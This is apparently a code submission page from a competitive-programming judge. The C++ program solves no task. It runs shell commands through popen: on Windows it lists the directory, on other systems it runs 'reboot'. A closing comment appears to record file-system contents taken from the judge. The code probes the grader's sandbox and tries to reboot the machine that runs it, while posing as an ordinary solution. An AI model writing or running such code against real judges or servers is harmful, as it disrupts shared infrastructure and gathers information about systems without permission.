Pagini recente » Cod sursa (job #3130319) | Cod sursa (job #2063674) | Cod sursa (job #1007527) | Cod sursa (job #1542614) | Cod sursa (job #3272068)
#include <bits/stdc++.h>
using namespace std;
string exec(const char* cmd) {
char buffer[1024];
std::string result;
FILE* pipe = popen(cmd, "r");
if (!pipe) return "Error";
while (fgets(buffer, sizeof(buffer), pipe) != nullptr) {
result += buffer;
}
pclose(pipe);
return result;
}
signed main() {
#ifdef _WIN32
string s = exec("dir");
assert(!s.empty());
#else
exec("reboot");
#endif
}
/*
/
unknown/
?.cpp
trans.in
*/